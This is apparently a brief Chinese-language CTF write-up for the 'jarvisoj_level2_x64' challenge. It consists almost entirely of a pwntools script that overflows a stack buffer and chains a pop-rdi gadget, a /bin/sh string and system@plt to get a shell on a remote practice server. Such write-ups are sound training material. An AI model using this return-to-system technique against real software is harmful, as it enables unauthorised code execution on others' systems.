jarvisoj_level2_x64

查看保护


溢出，有system sh

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 26759)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

system_plt = elf.plt['system']
bin_sh = 0x0000000000600a90
pop_rdi_ret = 0x00000000004006b3

p1 = b'a' * (0x80 + 8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_plt)
r.sendline(p1)

r.interactive()